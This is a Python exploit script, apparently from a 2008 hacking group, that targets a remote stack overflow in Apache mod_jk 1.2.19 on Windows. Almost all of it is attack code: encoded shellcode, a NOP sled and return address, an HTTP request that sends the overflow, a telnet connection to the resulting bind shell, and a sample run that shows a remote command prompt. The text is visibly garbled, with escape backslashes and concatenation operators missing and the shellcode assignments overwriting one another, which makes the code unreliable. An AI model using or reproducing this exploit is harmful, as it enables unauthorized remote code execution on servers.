#!/usr/bin/python
#
# _____ _ _ _____ _____ _____ _____
# / ___| |_| | _ | _ | _ |_ _|
# | (___| _ | [_)_/| (_) | (_) | | |
# _____|_| |_|_| |_||_____|_____| |_|
# C. H. R. O. O. T. SECURITY GROUP
# - -- ----- --- -- -- ---- --- -- -
#
#
# _ _ _ _____ ____ ____ __ _
# Hacks In Taiwan | |_| | |_ _| __| | | |
# Conference 2008 | _ | | | | | (__| () | |
# |_| |_|_| |_| ____|____|_|__|
#
#
#
# Title =======:: Apache (mod_jk) 1.2.19 Remote Stack Overflow Exploit
#
# Author ======:: unohope [at] chroot [dot] org
#
# IRC =========:: #chroot
#
# ScriptName ==:: Apache Module mod_jk/1.2.19
#
# Vendor ======:: /
#
# Download ====:: /dist/tomcat/tomcat-connectors/jk/binaries/win32/
#
# Tested on ===:: Apache/2.0.58 (Win32) mod_jk/1.2.19
# Apache/2.0.59 (Win32) mod_jk/1.2.19
#
# Greets ======:: zha0
#
#
# [root@wargame tmp]# ./apx-jk_mod-1.2.19
# Apache (mod_jk) 1.2.19 Remote Stack Overflow Exploit (unohope@)
#
# usage: ./apx-jk_mod-1.2.19
#
# [root@wargame tmp]# ./apx-jk_mod-1.2.19 192.168.1.78
# Apache (mod_jk) 1.2.19 Remote Stack Overflow Exploit (unohope@)
#
# [ ] connecting to 192.168.1.78 ...
#
# Trying 192.168.1.78...
# Connected to 192.168.1.78.
# Escape character is '^]'.
# Microsoft Windows XP [.. 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:AppServApache2
#
#
import os, sys, time
from socket import *
shellcode = "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
shellcode = "x49x49x49x49x49x49x49x49x49x37x49x49x51x5ax6ax68"
shellcode = "x58x30x41x31x50x42x41x6bx42x41x78x42x32x42x41x32"
shellcode = "x41x41x30x41x41x58x38x42x42x50x75x4bx59x49x6cx43"
shellcode = "x5ax7ax4bx32x6dx5ax48x5ax59x69x6fx4bx4fx39x6fx71"
shellcode = "x70x6ex6bx62x4cx44x64x71x34x4cx4bx62x65x75x6cx4c"
shellcode = "x4bx63x4cx76x65x70x78x35x51x48x6fx6cx4bx50x4fx74"
shellcode = "x58x6ex6bx33x6fx55x70x37x71x48x6bx57x39x6cx4bx66"
shellcode = "x54x6ex6bx46x61x7ax4ex47x41x6bx70x7ax39x4cx6cx4c"
shellcode = "x44x6fx30x62x54x44x47x38x41x4bx7ax54x4dx44x41x4b"
shellcode = "x72x78x6bx39x64x35x6bx53x64x75x74x46x48x72x55x79"
shellcode = "x75x6cx4bx53x6fx76x44x44x41x48x6bx35x36x4ex6bx54"
shellcode = "x4cx30x4bx6cx4bx51x4fx65x4cx65x51x38x6bx77x73x36"
shellcode = "x4cx4ex6bx6ex69x30x6cx66x44x45x4cx30x61x69x53x30"
shellcode = "x31x79x4bx43x54x6cx4bx63x73x44x70x4ex6bx77x30x66"
shellcode = "x6cx6cx4bx72x50x45x4cx4cx6dx4ex6bx73x70x64x48x73"
shellcode = "x6ex55x38x6ex6ex32x6ex34x4ex58x6cx62x70x39x6fx6b"
shellcode = "x66x70x66x61x43x52x46x71x78x30x33x55x62x63x58x63"
shellcode = "x47x34x33x65x62x41x4fx30x54x39x6fx4ax70x52x48x5a"
shellcode = "x6bx38x6dx6bx4cx75x6bx30x50x6bx4fx6ex36x53x6fx6f"
shellcode = "x79x4ax45x32x46x6fx71x6ax4dx34x48x77x72x73x65x73"
shellcode = "x5ax37x72x69x6fx58x50x52x48x4ex39x76x69x4ax55x4c"
shellcode = "x6dx32x77x69x6fx59x46x50x53x43x63x41x43x70x53x70"
shellcode = "x53x43x73x50x53x62x63x70x53x79x6fx6ax70x35x36x61"
shellcode = "x78x71x32x78x38x71x76x30x53x4bx39x69x71x4dx45x33"
shellcode = "x58x6cx64x47x6ax74x30x5ax67x43x67x79x6fx39x46x32"
shellcode = "x4ax56x70x66x31x76x35x59x6fx58x50x32x48x4dx74x4e"
shellcode = "x4dx66x4ex7ax49x50x57x6bx4fx6ex36x46x33x56x35x39"
shellcode = "x6fx78x50x33x58x6bx55x51x59x4ex66x50x49x51x47x39"
shellcode = "x6fx48x56x32x70x32x74x62x74x46x35x4bx4fx38x50x6e"
shellcode = "x73x55x38x4dx37x71x69x69x56x71x69x61x47x6bx4fx6e"
shellcode = "x36x36x35x79x6fx6ax70x55x36x31x7ax71x74x32x46x51"
shellcode = "x78x52x43x70x6dx4fx79x4dx35x72x4ax66x30x42x79x64"
shellcode = "x69x7ax6cx4bx39x48x67x62x4ax57x34x4fx79x6dx32x37"
shellcode = "x41x6bx70x7ax53x6ex4ax69x6ex32x62x46x4dx6bx4ex70"
shellcode = "x42x44x6cx4cx53x6ex6dx31x6ax64x78x4cx6bx4ex4bx4e"
shellcode = "x4bx43x58x70x72x69x6ex6dx63x37x66x79x6fx63x45x73"
shellcode = "x74x4bx4fx7ax76x63x6bx31x47x72x72x41x41x50x51x61"
shellcode = "x41x70x6ax63x31x41x41x46x31x71x45x51x41x4bx4fx78"
shellcode = "x50x52x48x4cx6dx79x49x54x45x38x4ex53x63x6bx4fx6e"
shellcode = "x36x30x6ax49x6fx6bx4fx70x37x4bx4fx4ex30x4ex6bx30"
shellcode = "x57x69x6cx6bx33x4bx74x62x44x79x6fx6bx66x66x32x6b"
shellcode = "x4fx4ex30x53x58x58x70x4ex6ax55x54x41x4fx52x73x4b"
shellcode = "x4fx69x46x4bx4fx6ex30x68";
foo_base = 8
buf_base = 4087
buf_offset = foo_base * 11
nop = "x90"
ret = "xccx2axd9x77"
buf = nop*foo_base shellcode nop*(buf_base - foo_base - len(shellcode) - buf_offset) ret
buf = "x90x90xb0x53x6bxC0x28x03xd8xffxd3" nop*(buf_offset - foo_base - 3)
def usage():
print 'usage: %s n' % sys.argv[0]
sys.exit(-1)
def xpl():
try:
print len(buf)
sockaddr = (host, 80)
s = socket(AF_INET, SOCK_STREAM)
s.connect(sockaddr)
payload = buf 'HTTP/1.0rnHost: %srnrn�' % host
s.send('GET /' payload)
s.close()
print ' [ ] connecting to %s ...n' % host
time.sleep(3)
os.system("telnet %s 8888" % host)
except:
print ' [-] EXPLOIT FAILED!n'
if __name__ == '__main__':
print 'Apache (mod_jk) 1.2.19 Remote Stack Overflow Exploit (unohope [at] )n'
try:
host = sys.argv[1]
except IndexError:
usage()
xpl()
# [NOTE]
#
# !! This is just for educational purposes, DO NOT use for illegal. !!
#